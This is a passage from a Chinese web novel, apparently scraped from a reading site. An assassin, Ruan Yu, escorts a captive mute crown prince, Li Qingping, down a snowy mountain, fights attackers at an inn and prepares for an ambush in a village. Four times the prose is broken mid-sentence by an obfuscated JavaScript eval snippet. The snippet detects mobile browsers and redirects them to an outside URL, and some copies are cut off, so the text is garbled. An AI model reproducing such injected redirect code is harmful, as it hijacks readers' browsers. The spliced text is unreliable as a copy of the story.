说前几句的时候,李清平没有任何反应,全当听不见,不搭理她。 可听阮玉说自己聪明,他睁眼,朝她看了过来。 四目相对,李清平唇角动了动,似笑非笑地开口,无声道:“自以为是。” 阮玉看着他的唇,重复一遍:“自以为是?” 见李清平很轻很慢地眨了眨眼,她才挑眉,无所谓道:“你说自以为是,那便自以为是吧。我不与你计较。” 李清平抿了抿唇,往下瞟了一眼,见阮玉已经在给自己包扎,问她:“你是谁?” 这个问题来得突兀,所以阮玉没看明白。 她顿住手上的动作,仔细地想了想,试探道:“你饿了?渴了?还是困了?” 问完再一琢磨,她想起他说的第一个字似乎是‘你’,于是又道:“你不会在骂我吧?” 李清平目光复杂地看了她一眼,侧过脸转向了旁边,没有回应。 他不回应,阮玉也没再坚持问,只威胁他道:“你若骂我,最好还是避着我。我生起气来杀人不眨眼的。” 不出意外的,李清平并未理会。 眼看药已经上好,伤口也已经包扎好,阮玉同样懒得理会他。她将剩下的药收起来,翻身下地,重新烧了一壶水。 等水开的间隙,阮玉换掉身上宫人的衣衫,扯掉头上的发髻和发饰,又洗掉脸上的妆容,提着筐出去捡了些柴禾。 路过师兄墓碑的时候,她被地上的雪绊了个踉跄。好在自己反应快,及时稳住了身形,才没有栽倒。 阮玉拍拍心口,又顺手拍拍那墓碑,哄小孩一般道:“知道知道,不会有事的。我很快就带他离开。” 回到屋里,水刚好烧开,她打开壶盖,用筷子在上面架了三个拳头大的馍。 那馍冻得梆硬,不蒸个一刻钟,怕得把牙崩掉。 趁着这会功夫,阮玉又回到李清平面前坐下,问他:“今日我进门时,你在做什么?” 李清平倚着墙闭目养神,没理她。 阮玉接着问:“你是想自缢吗?为何?” 李清平还是没理会她。 阮玉毫不气馁,继续问道:“身为太子,一人之下万人之上,也会有不想活着的时候吗?” 李清平终于睁眼看向了她,但依旧没有任何要开口的意思。 于是阮玉猜测:“是因为你不会说话吗?是因为你不会说话,所以才烦恼吗?” 这次,李清平眸光微动,斟酌片刻,最后摇了摇头。 “……那是为何?” 李清平还是摇头,用口型道:“没有原因。” 阮玉又没看明白,茫然道:“你再说一遍?” 李清平没有再说一遍。他勾了勾唇,闭目倚回墙上,当她不存在。 阮玉只能独自坐了会儿,而后默默去到窗边,将窗户打开一道缝,望了眼师兄的墓碑。 风雪之后,天地一白。只有那块墓碑吸饱了雪水,变成了暗沉的褐黑色,很醒目。 只是没有内力护体,又只穿了件宽松白袍,没望一会,阮玉便冷得瑟瑟发抖了。 她关上窗,回到炉子边,烤了会火。 烤完一回头,正想问李清平要不要喝水,却见他匆匆移开视线,看向了别处。 阮玉愣了愣,出声问他:“看我做什么?” 李清平没有吭声,整个人半隐在暗处,一动不动。 阮玉放弃了这个问题,转而问他:“喝水吗?” 李清平沉默小片刻,转头看了过来。 阮玉会意,将壶上的馍拿走,找出碗来倒了杯水,拿过去喂他。 水烫,李清平喝不快。他小口喝水的间隙,目光一直落在阮玉的侧脸上。 阮玉自然能感觉到他的目光。她看着手里的碗问他:“为何总是看我?想伺机逃走吗?” 见李清平不吭声,她接着道:“那你别想,除非能将我一击毙命,否则吃亏的人一定是你。” 李清平还是不吭声,又喝了一口碗里的水,不动声色地将视线转到了阮玉的手上。 等他将碗里的水喝完,阮玉捧着碗跳下地,取了蒸好的馍,端过来掰了一块递到李清平唇边:“吃点吧,今日还要赶路,下一顿不知道要到什么时候了。” 看着李清平乖顺地将其含入口中,阮玉夸他:“好孩子。” 李清平那双黑亮的桃花眼轻轻一眨,盯了阮玉好一会,才嚼碎了口中的馍咽下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375436|200079||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甜丝丝的味道留在唇齿间,他的心思莫名松泛了几分。 …… 原打算当日趁着夜色离开的,可二人吃过东西后,外面又下雪了。 雪路难行,他们只有一匹马,一个不小心,便会葬身悬崖。 阮玉思忖了一番,还是决定改变主意,明日再下山。 毕竟这么大的雪,官兵也不可能寻来。 于是她将门窗反锁好,熄掉炉子里的火,而后翻出一包白色粉末,当着李清平的面倒进水里,示意他:“喝。” 李清平看了看那碗药,又看了看阮玉,没有反抗,直接喝了下去。 等他喝完,阮玉解开他手上的绳子,上床将他推到墙角按倒,自己也挨着他躺下,拉上了被子。 李清平的身体有些僵硬。他想要往后退,想要离阮玉远些,却发现自己动不了了。 阮玉闭上眼睛道歉:“夜里炉子不能有火,我冷……况且那边是师……那边实在不能睡……就今日这一次,我不碰你,你睡吧。” 那具紧贴着她的身躯稍稍松缓了些,但还是以一种极其防备的姿势对着阮玉。 阮玉又道:“我不脏,也并非饥不择食之人,我见过男人,什么样的都见过……你只管宽心便是。” 说完,她与他靠得更近了些,最后安慰他:“今夜与往常不同,我不想一个人……在向雇主交差前,我不会伤害你。” 李清平说不了话又动不了,在黑暗中默默出了会神,才闭上眼睛。 …… 阮玉心里乱糟糟的,也不知道自己何时睡了过去。 好在一夜无梦,再醒来时,窗纸上已经透出了雾蒙蒙的光亮。 李清平还睡着。他个子大,床短,伸不开腿,因而佝偻着身子,呈半包围状地将阮玉嵌在其中。 二人都是和衣而卧,可毕竟贴得太紧,阮玉感觉昨日那阵清苦的花香沾在了自己身上,似有若无地萦绕在鼻尖。 她拉起自己的衣摆闻了闻,随后默默掀开被子下地,打开窗户往外看了看。 天没亮,但雪停了。 正是出发的好时候。 于是阮玉回到床边唤醒李清平,招呼他道:“别睡了,该走了。” 见其茫然睁眼,睡眼惺忪地看向自己,她重复一遍:“下山后我便去租马车,到那时你想怎么睡便怎么睡,快起。” 说完,也不等李清平做出回应,她就转身去收拾行李了。 昨日的药效尚未完全过去,李清平费了好大的力气才坐起身。他颤着手抚上鬓角,稳了稳神,挣扎着下地。 可惜腿上没有力气,脚刚沾地,他便软瘫着倒在了床边。 阮玉正在收拾面具人带来的那叠银票,听见声音朝他看了一眼,见他只伏在床沿上艰难喘息,并未受伤,便没有理他。 等到所有东西都收拾完毕,她才上前将他从地上拉起,拍了拍他身上的灰,嘱咐他:“出了这扇门,便要听我的话。若你敢耍小心思,我便重新将你绑起来,记住了吗?” 李清平在她的支持下勉强站稳,白着脸点了点头。 “还有,”阮玉递给他一块黑布,认真道,“你这张脸太显眼,先遮上吧。” 5. 下山 在问云山上住了几年,阮玉对问云山的熟悉无人可及。毕竟平日里为了不暴露藏身之处,她常常能从各种犄角旮旯的地方找到上下山的小路。 站在院里猜测了一番官兵的动向后,阮玉扒掉裹在马身上的茅草与破布,示意李清平:“上马。” 李清平已经换上了师兄的粗布衣衫,长发垂在身后,用一根布带束起。 昏暗的夜色里,他正望着师兄的墓碑出神,听见阮玉唤他,才抬眸看了过来。 阮玉重复一遍:“快点,上马。” 担心与官兵撞个满怀,二人出发后,阮玉选了条师兄都不知道的小路,收紧缰绳缓慢地走。 夜色浓重,月光很淡,沿途都是悬崖峭壁。许是因为害怕,也许是因为冷,贴在阮玉背后的身体有些僵硬。 阮玉嘲笑他:“不是想死吗?想死还怕什么?” 李清平安安静静的,没理会她。但阮玉能感觉到他往后倚了倚,捏住了她的衣摆。 此时正在下坡,阮玉并未在意他的反应,只将心思放在行路上,防备随时可能到来的危险。 好在一切还算顺利,不多时,他们便离开了山道上最险峻之处。 算算路程,还有不到二里地便能下山了。 可偏偏这时候,前面山道上有火光一点点亮起,寒风里传来了此起彼伏的呼喊声。 来不及多想,阮玉果断调转马头,钻进了另一条小道。 她很清楚,今日无风,等那些官兵发现他们留在雪地上的足迹,便会顺着足迹找过来。因此,她要在最短的时间内甩掉他们,抑或设法将他们引到错误的路上去。 阮玉一面在心中琢磨,一面将李清平的手拉到自己身前,用布带绑了起来。 如此一来,二人靠得更紧,李清平不自在地往后撤,被阮玉喝止:“再动扔你去喂狼。” 他紧绷了一瞬,缓缓松懈下来,不再动弹了。 二人避开官兵,一路下山,临了又发现出山的路已经被截断,山隘口一片绵延的火光,正向他们逼近过来。 好在从前遇到过同样的情形,阮玉面不改色地拐了个弯,绕进了对面的山里。 虽说如此多走了数里山路,但总算是脱离了被包围的险境。 人困马乏,阮玉却不敢歇息。她再次打马往前走了将近四五里地,直到听见不远处传来隐隐约约的犬吠,才松了口气。 天冷,风刮在脸上刀剐一般的疼,口中呼出的白气在睫毛上结了霜,看路时雾蒙蒙的。 阮玉一直以为自己还算冷静,可此时她才发觉,一路过来自己竟出了一身的冷汗,四肢也因过于紧绷而酸胀不堪,心跳得极快。 被汗浸透的衣服贴在皮肤上,潮湿粘腻,令人不适。 默默勒马回头,望了眼不见尽头的夜色,阮玉定了定神,问李清平:“你还好吗?” 本是随口一问,没指望李清平回答什么。可他竟难得地点了点头。 阮玉惊讶,又问道:“冷吗?你的伤口痛吗?” 李清平摇头。 阮玉想了想,解开他被绑着的手,带着他一起下马,而后将他绑在了道旁的树上。 她一面动作一面道:“……你先在此等我,我去去就回。” 说完,也没看李清平作何反应,阮玉将绳头打了个死结,便上马离开了。 她循着犬吠声找到前方的村子,在村中换了匹马,又回来找李清平。 李清平还在原处,绳子与树上也没有挣扎过的痕迹。只不过瞧见阮玉时,他脸上的表情很是难看。 阮玉知道他为何生气,于是拔剑砍断绳索,开口解释道:“放心,我有分寸,知晓不会伤到你,才将你留下的……来吧。” 说着,她向李清平伸手,示意他上马。 可李清平没理阮玉,冷冷看她一眼,转身往另一个方向走。 大抵是因为从未被如此折腾过,他走起路来略有些跛脚,没走多远,便踉跄着跌倒在了地上。 阮玉骑在马背上,慢吞吞地跟过去,将马鞭递到他面前:“逞什么能……走了。” 李清平没有接,自己站起来,拍了拍衣摆上的雪。 阮玉将马鞭换到另一只手里,重新向他伸手:“快点,再折腾就将你绑起来。” 这次李清平没再拒绝。他握住她的手借力上马,坐稳后,自己将手腕伸给了阮玉。 方才二人握手时,阮玉感觉到了他手心的黏腻,也闻到了淡淡的血腥气。但担心官兵跟着马蹄印追过来,阮玉没功夫给他处理伤口,只将他的双手绑在一起,而后将他和自己的腰绑在一起。 简单判断了一下方向,她打马朝着下一座城出发。 起初李清平还僵硬地与她保持着距离,似乎不想碰到她。后面许是累了,他的身体逐渐放松,一点点贴近了过来。 等阮玉再侧过脸看他时,他已经靠在她肩上睡着了。 回头的一瞬间,李清平的鼻尖擦过阮玉的脸颊,温热的气息洒在阮玉脸上,令阮玉下意识地缩了下脖子。 维持着这个姿势愣怔了片刻,阮玉才默默转回去,握紧了手中的缰绳。 …… 距离问云山最近的城是新平县城。阮玉到城外时,天已大亮,远远望去城门大开,行人脚步匆匆。 她寻了个僻静处,将李清平的手脚一绑,捆在一个土丘后的树桩上,自己牵着马进了城。 新平县阮玉已经来过许多次,因此她没费多大力气,便找人买到了假过所。 有了假过所,又租了马车,买了些必要的零碎东西,阮玉折返回去找到李清平,将他塞进了车厢。 他没再如昨夜一般不高兴,只有气无力地任阮玉摆布,双目无神,脸色苍白。 阮玉以为他生病,摸了摸他额头,发现并未发烧,于是问道:“你怎么了?饿?渴?” 李清平倚在车厢壁上,目光聚焦,看向蹲在车厢门边的阮玉,半晌才摇摇头。 阮玉想了想,又问:“那便是伤口痛?还是难受?” 李清平终于点头。他费力地举起绑在一起的手,将还在流血的手心给阮玉看。 “……知道了。” 一路都在琢磨接下来要做什么,阮玉早将他受伤的事情抛在了脑后。 她赶紧帮他解开绳索,翻出水壶清洗伤口,又胡乱地撒了些药粉,用干净的布带将伤口裹上。 因为着急赶路,阮玉的动作略微粗鲁。李清平全程紧皱着眉头,指尖疼得发抖,但是没有躲。 等包好伤口,阮玉又将他的手绑起来,从怀里摸出那份假过所嘱咐他:“从此刻起,你便是我的兄长,名为阮青。你患有癔症,因此我带你回虔州求医……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375437|200079||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说到一半,想起李清平不能说话,阮玉又打住了话头:“罢了,你什么都不需要记,安心待着便是。” 李清平一直在看她,在她说完话,打算关上车厢门出发时,他张了张唇,问她:“去虔州做什么?” 阮玉没看明白,伸手给他,示意道:“写。” 李清平看了看她的手,默默用指尖将方才那句话在她掌心写了一遍。 阮玉答道:“我也不知,是雇主的要求。” 李清平两只手绑在一起,写字时有些吃力。但他还是又在她掌心写道:“是谁?” “不认得。可他是楼主送来的,许是自己人。” “楼主是谁?” “好了,”阮玉不再回答他的问题,抽走了自己的手,“你睡会吧,有事我会唤你。” 外面阳光明媚,车厢内却一片昏暗。李清平坐在阴影中,垂下眼眸,很轻地点了点头。 …… 二人就此上路。刚开始的几日一切还算顺利,白日休息,夜里赶路,并未出现意外。 可绕开京城,途径梁州时,阮玉在南郑县外的一处客栈里,遇上了一伙正在找她的人。 那伙人在阮玉的隔壁桌喝酒,一共九人,皆是粗壮的莽汉,一面大口嚼肉,一面唾沫横飞地骂阮玉。 其中一人道:“听闻阮玉那厮近日也将到南郑,也不知能不能逮着她……” 他话还没说完,便有另一个大嗓门男人接话道:“能!定能!老大说过,此番的情报来自日月楼,不可能有错。咱定能先那崽子一步,将她堵死在路上!” 听闻此言,其余众人皆是一阵欢呼,酒杯碰撞声响成一片。 可也有人存了个心眼:“阮玉不就是日月楼的人吗?日月楼怎会卖她的情报?不会诓咱们吧?” 大嗓门男人反驳他:“日月楼那等地界,从来利来利往,钱给得够多,能买楼主的命!更莫说阮玉一个小喽啰。” 听男人这么说,有个没出现过的陌生声音附和起来:“是是是,我认识一个日月楼的上品刺客。他说日月楼里无亲疏,人命是最贱的东西……” “管他日月楼如何,阮玉此番必死无疑!” 冷不丁一声巨响,有人拍案而起,魁梧健壮的身形在阮玉桌上落下了巨大的阴影。 他这么一出声,其余人都安静了下来。 阮玉默默往口中扒饭,只当看不见。 那人似乎醉了酒,在一片沉默中大着舌头骂骂咧咧:“老子手痒很久了!那个贱人,害我兄弟……贱人!等老子逮着她,一定……定要弄死她!” 方才被他镇住的众人此时纷纷回过神来。那个大嗓门男人闻言哈哈一笑,出声道:“光是手痒?那娘们才多大,还嫩……” 后面的话腌臜不堪,阮玉也没有仔细听。 她吃完碗里的饭,又拎起另外一份已经打包好的饭,从容地唤来小二结账,而后上楼。 回到屋中,见李清平倚在窗边发呆,阮玉将门反锁,把饭给他,给他解开手脚上的桎梏,开口道:“吃吧,吃完我们离开。” 李清平接过那个纸包,不解地看她。 阮玉没有解释,转头去收拾行李。 可就在此时,门口传来了一阵吵嚷声。 混乱中,有人大着嗓门问道:“是这间吗……是不是?说!” 6. 初见端倪 阮玉听出了那大嗓门男人的声音。她下意识地看了李清平一眼,见他也在看她。 几乎同时,外面有个小心翼翼的声音接话道:“是……是这间。” 那人话音未落,下一瞬,便有人一脚踹在了门上,将门板踹得直晃荡,门框上的灰簌簌地往下掉。 踹门的男人扬声喝道:“阮玉!滚出来!” 阮玉没有理会他,拎着剑走到窗边,打开窗户往外看去,想瞧瞧能不能跳窗离开。 可那九人显然有备而来,其中四人已经蹲在了楼下,且堵住了客栈唯一的大门。 她只能退回屋子中间,摸出几枚浸了蒙汗药的暗器,而后守在了摇摇欲坠的屋门旁。 李清平一直在看着阮玉。见她打算硬刚,他默默起身,找了个更偏僻的角落蹲着,事不关己一般抱着那油纸包吃饭。 阮玉忙里偷闲地瞥他一眼,又移开目光,专心等着外面的人动手,好寻找机会反击。 ……若那九人一起上,阮玉未必有胜算,可如今他们几人分散开来,她还是可以尝试赌一把的。 正想着,门板又承受了重重一击,中间应声裂开了一个大洞。 踹门的人没收住力气,一条腿从洞里踢了进来,又很快收回。 就这么电光石火的一瞬间,阮玉拔剑,挑了他的脚筋。 事发突然,外面那人甚至没觉得疼,等他再抬腿时,才在骤然袭来的剧痛中发出一声惨叫,嗵地倒地,捂着脚踝哀嚎起来。 另外几人见如此情形,只当是阮玉向他们挑衅,顿时怒气冲天,口中秽语不断。其中一人拔出大刀,狠狠砍在已经破损不堪的屋门上。 门板艰难地支撑片刻,终于摇晃着倒了下去,震起一地灰尘。 砍门的男人大步冲进屋内,正要开口骂街,忽地感觉颈间一凉,浓重的血腥味倒灌入口中。 余光里有个黑影从他身侧闪过,门外随即响起了刀剑相击的脆响。 男人愣怔,茫然地待在原地,竟不知该作何反应。直至滚烫黏腻的液体浸湿衣衫,他才睁大眼睛,徒劳地捂上脖颈,一头栽倒在地。 即将失去意识前,隐约看见有人跨过他的腿进门,声音冷静:“起来,该走了。” 冰冷的剑尖悬在男人眼前,一滴血顺着剑刃滑落,砸在地上。 他不甘地抠紧地面,双目圆睁,彻底没了动静。 …… 带着李清平出城后,阮玉没有走官道,而是拐进了道旁的小路中。 沿着小路向前行了数里后,她勒马停下,钻进车厢里更衣。 李清平原本在闭目打盹,听到声音后睁眼朝阮玉看来。见她一进车厢就脱衣裳,他稍稍往角落里挪了挪,视线在她右手的伤口上停留片刻,又缓缓移开。 那是方才打斗中被内力震出的伤口,好在只是皮肉撕裂,未伤及筋骨,并无大碍。 阮玉换掉沾了血的衣裳,又倚在车厢中缓了缓神,随后问李清平:“方才为何不逃?” 李清平看了看她,抬起被绑着的手,指向她的手。 阮玉顺着他的手指看向自己的手,犹豫一瞬,将那只没受伤的手递到他面前。 李清平在上面写:“你受伤了。” 阮玉愣怔,抬眸看他。 李清平与她对视一眼,又写:“我帮你。” 其实这么点小伤,即便放着不管,也不会有多大问题。可李清平写出这三个字的时候,鬼使神差地,阮玉答应下来:“好。” 她取出药粉和布条,又拿来清水放在李清平手边,但没有给他松绑。 李清平也不在意,依旧耐心地给她清洗伤口,而后撒了药粉,一圈圈将伤口缠绕起来。 他动作不便,这些事做得很慢。可他并未因此敷衍,临了还细致地擦去了她指尖已经凝固的血迹。 车厢狭小,二人膝盖相抵,挨得极近。仅有的一盏灯挂在车顶摇摇晃晃,火苗的热气时不时扑在脸上。 阮玉安静看着自己的手,看了一会,又不自觉地看向李清平的脸。 正看得出神,李清平长睫微颤,轻飘飘地抬眸,恰巧碰上了她的视线。 四目相对,阮玉愣了愣,才发现他已经为她包好伤口,收回了手。 她有些赧然,一面将自己的手缩回袖中,一面向他道谢:“有劳。” 李清平张了张口,似是想说什么,最后又没说,只轻轻摇了摇头。 阮玉舔舔发干的唇,尽力温柔地嘱咐他道:“你安心休息吧,若是有……” 本想说,若是有事便招呼她,可转念记起他不能说话,阮玉又把后半句话咽了回去。 她看了眼李清平,帮他把手上的绳索放松了些,而后裹好衣裳,出了车厢。 二人趁着夜色再次出发,赶往下一座城。 …… 途中闲来无事,阮玉琢磨了很久,想弄清楚那些人来自何处,因何与她结仇,他们口中的老大是谁,他从日月楼中哪个人手里买到了自己的情报。 ……毕竟阮玉此番离开问云山,并未向任何人提及自己的去向,也并未在途中接触过日月楼的人。 是有人一直在跟踪她?还是她在不知情时偶遇过日月楼的密探? 没有内力,五感急剧退化,她确实很难如从前一般敏锐,却也不至于对危险毫无察觉。 除非对方有意避着她。 若真如此,那是她在日月楼得罪过什么人?还是如那莽汉所说,日月楼只看重利益,不在乎她的死活? 心中烦乱,阮玉下意识地往周围环顾了一圈。可夜色冥冥,风声呼啸,除去灯笼照亮的一小片地面外,四下里什么都看不清楚。 她暗暗握紧缰绳,叹了口气。 …… 下一座城距离太远,约莫黄昏时,阮玉就近找了处村落歇脚。 村里人少,难得瞧见有外客路过,几乎半个村子的村民都走了出来,围在马车旁看热闹。 阮玉向村正说明来意,又出示了过所。村正查看后,招呼一位身形高大的妇人道:“三丫娘,你院里不是有空房吗?便给她兄妹二人住一宿吧。” 听闻此言,众人纷纷向那妇人看去。 妇人双手抱臂,上下扫了阮玉一眼,不甚乐意:“那屋子许久无人居住,早就拿去堆了杂物,清扫起来麻烦得很。” 阮玉也扫她一眼,平静道:“十两银子,我与兄长住一夜便走。” “……啊?” 十两银子算不得小数目,听阮玉这么一说,不止妇人,村中其他邻里也都震惊不已,各个面面相觑。 阮玉自然知道十两银子住一夜多得过分,可她手上没有碎银,只有一叠最低十两的银票。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375438|200079||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 正想要不要省下这个钱,在车厢里将就一夜,村正便抢在那妇人之前招呼阮玉:“来吧姑娘,我家中也有间空屋,来我……” “等等!” 眼看落在自己头上的好事就要被抢走,妇人两手往腰上一叉,怒声道:“方才不是说住到我家吗?怎得听见有钱拿,就往自己家中带?” 村正闻言一愣,见周围人都小声议论,赶忙反驳道:“瞧你这是什么话?你不是不愿吗?客人只住一夜,你那屋子又不方便,总不好叫客人在院里等着……” “那便叫客人住正屋去,不过一夜,我将就将就难道不成?” “你……” “好了。” 见二人各自挽起衣袖,就要挥拳相向,阮玉出面打圆场:“既然说好要在这位阿姐家中借宿,那我兄妹还是随她去吧。” 说完,她又看向村正,将一个小盒子递上,和气道:“也多谢大人此番安排,一点小礼不成敬意,还望大人笑纳。” 没有被阮玉选到,村正原本不大高兴。但见阮玉递了东西过来,他的脸色又缓和了些,一面打开盒子查看,一面道:“无妨无妨,也就……” 发现盒子里是两颗圆润的玉珠,村正说了一半的话陡然卡住,眼睛也睁大了。 他对着光左右看了看,确认此物价值不菲后,一扫方才的不耐,皱巴巴的脸上笑开了花:“哎哎不过一点小事,不足挂齿……贵客快请!” “好,稍等。” 阮玉也朝他笑笑,随后打开车厢门,钻了进去。 她动作麻利地解开李清平脚踝上的绳索,小声道:“这些人救不了你,你老实些,莫要生事,令我为难。” 李清平看着她,没有反应。 阮玉已经确认过,村子里没有一个人会武功。即便她没有内力,要对付他们也易如反掌。因此她并不在意李清平是否听话,直接蒙上他的脸,将他带下了车。 二人随着那妇人去往她家中,其余人留在原处议论了一会,便各自散去了。 不知是不是惦记那未到手的十两银子,妇人一路上都很热情,问阮玉想吃什么,平素有什么忌口,夜里要不要热水,明日何时离开,晨间要不要早起,详尽又周到。 阮玉一面打量周遭的环境,一面随意应付了几句。 等到了她家院门外,还未进门,便听见里面传来了小孩的哭声。 妇人的脸色略微有些赧然,向阮玉道歉:“是我家孩儿……才四岁,正是不听话的年纪,整日闹腾。” 许是担心阮玉嫌弃,说完这些后,她又道:“姑娘安心,今夜我会管好她,不会让她吵到姑娘……姑娘请。” 阮玉点点头,进门时看了眼院子旁的大榕树,目光在凌乱的枝杈上停留了数息。 妇人到底还是将正屋留给了阮玉,自己去收拾另外一间小房子,顺带烧火做饭。 而阮玉回到屋中,先反锁门窗,将屋子上上下下检查了一遍。 确认屋中并无异样后,她才转去问李清平:“奔波一日,可有何处不适?” 李清平原本坐在窗下的桌边出神,听她问话,朝她看了过来。 他脸上的神色略微难堪,犹豫一瞬,向她伸手。 阮玉会意,走上前将自己的手递到他手中。 李清平抬眸看她一眼,写道:“解手。” 7. 遇刺 平日里没什么心事,阮玉自是能将一切安排得妥帖。 可今日一路上都在记挂着客栈里的事情,她便把李清平忘了个干净。 默默带他出门,将他领到旱厕外,阮玉道:“我等你。” 李清平没理她,径直往里去了。 等他的间隙,阮玉又望向了那棵巨大的榕树。见其虽已掉光了叶子,却依旧枝节繁茂,她心中莫名不安。 此时三丫娘正从灶房出来,见阮玉一个人站在旱厕旁,出声问道:“姑娘怎在此处?” 阮玉没有回答她的问题,反问她道:“村里近几日下过雪吗?” 三丫娘想了想,点头:“两日前下过,姑娘怎得问起这个?” 听她说下过,阮玉抬手指了指旁边那棵榕树,问道:“那这树上的雪呢?” 三丫娘闻言啊了一声,顺着她的手指看向那树,不解道:“什么雪?” 见她一脸茫然,阮玉没再理她,若有所思地看了会那棵树,良久才收回目光。 …… 大抵是不想让阮玉见着小孩闹腾的样子,三丫娘将准备给阮玉的菜送进了他们屋里。 阮玉向她道了谢,正要关门的时候,见旁边灶房门口站了个矮小的身影。 那小玩意正扒着门框看阮玉,见阮玉也看向自己,她哆嗦了一下,匆忙躲了回去。 三丫娘顺着阮玉的视线看向那小孩,随口介绍道:“我女儿,三丫。姑娘安心,我会看好她的。” 阮玉瞟了眼又偷偷探出头看自己的小孩,淡然道:“无妨。莫要为难孩子。” 三丫娘闻言笑笑,与阮玉客气了几句,便朝灶房去了。 阮玉则关好门,回到了桌边。 桌上的饭菜已经备好,李清平却未动筷,只安静坐着看她。 二人对视一瞬。阮玉一面入座,一面问道:“你在等我吗?” 李清平微微颔首,在她夹了几根青菜送入口中后,才拿起筷子。 平日里都是阮玉先吃饱,再给他带饭回去。如这般二人一同出现在饭桌上的情形,还是头一回发生。 因此阮玉并不知道他还守这样的规矩,不由觉得稀奇又好笑:“何必呢?有饭就吃,讲这些虚礼做什么?” 李清平不答,吃相斯文,但难得地吃了很多。 餐后三丫娘来收拾桌子时,阮玉将事先答应的银票递给了她,而后嘱咐道:“我这人睡不安稳,偶尔会在深夜练剑。若你听见了什么不对劲的动静,只管安心睡着便是,不必出来查看。” 此言到底出人预料,三丫娘擦桌子的手顿住,目光怪异地看了阮玉一眼,才点头应下。 阮玉也没有将她的反应放在心上,等她离开后,便反锁了房门与窗户。 李清平坐在桌边看她。等她留意到他的目光向他看来,他才伸手示意她上前。 阮玉熟稔地将手递给他,看他在上面写:“为何如此?” 阮玉答道:“今夜兴许会有危险。” 李清平追问:“为何?” “我出任务时,时常会蹲目标家中的树。为便于藏身,我会提前踩点,将树打理一番……这屋子外面的树明显被人动过。” 李清平蹙了蹙眉,接着写:“可你我今日才到。” “我知道。可这个村子是你我在天黑前能遇到的最后一个村子,这个院子与村正家兴许是村中唯二有空房的院子。若是如此,对方便很容易判断你我的动向。” 说完阮玉想了想,继续道:“来人行事鬼祟,不像搜寻你的官兵,应是冲我来的。” 李清平被她说得一愣,捏着她的手指迟疑片刻,才写道:“不会有人救我。” 阮玉瞥他一眼:“为何?你怎么知道?” 李清平没有回答,只写道:“危险,便走吧。” “……走不了的。” 对方既能先一步来到村中布置,那必然是提前做了周密的计划。若此时离开村子,去往荒无人烟的野外,才是真的送死。 阮玉还不想死。 她斟酌了一下,没有再继续这个话题,抽走手道:“你先睡吧,不必睡地铺,上床去睡。我想起一件事,先出去一会。” 可还没转身,李清平便站起来,重新抓住了她的手。 阮玉顿住脚步,不解道:“怎么?” 李清平缓缓坐回原处,仰头看她,用口型比划道:“你去哪里?” “……去看看那棵树。” 他琢磨了一下,松开了阮玉的手,点头,无声道:“好。” 手上还存在着清晰的力道,阮玉低头看了看,才慢吞吞地将其收回袖中。 她出了门,站在树下看了会,而后攀上墙头,又顺着墙头爬上树枝,找了个视野最开阔也最隐蔽的地方,拔剑将脚下的枝干锯开一半。 做好此事后,阮玉四下里看了看,确认无人后摸回屋中。 李清平已经和衣躺下,但并未睡着,正蜷在床榻内侧,睁着眼睛安安静静地出神。 看阮玉将剑立在床边,吹了灯脱鞋上床,他也没有像之前一般躲她。 今日饭后,三丫娘给他们二人打了地铺,还多拿来一床被子,所以阮玉不必与李清平挤在一起,倒比之前自在。 只是心中提防有人夜袭,总是睡不安稳,翻来覆去之际,身边传来一阵窸窸窣窣的轻响,随后有人贴过来,隔着被子靠近了她。 阮玉一愣,转身看去,却见那人双目紧闭,呼吸均匀,一副睡熟了的模样。 床帐中昏暗无比,只能瞧见一个朦胧的轮廓。阮玉盯着那个模糊的轮廓看了一会,索性侧过身面对他,与他贴得更近了些。 二人的脸只隔着三四寸的距离,呼吸交错间,湿热的气息氤氲开来。 明明并未相互接触,阮玉却觉得自己原本冰凉的手脚暖和了不少。 她琢磨片刻,从被窝里伸出手,想摸一下李清平的脸。 只是动作做了一半,她又觉得这样很奇怪,于是默默将手收了回去,顺带转身,背对李清平,强迫自己睡觉。 ……就在她转身的同时,背后的青年缓缓睁眼,目光落在了她的肩头。 …… 等了大半夜不见有人来,阮玉也难免犯困。 她迷迷糊糊地闭眼,在半梦半醒间徘徊,正要睡着的时候,突然听见了一声清脆的咔嚓声。 那声响极其微弱,若非今夜无风,且阮玉集中精力在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 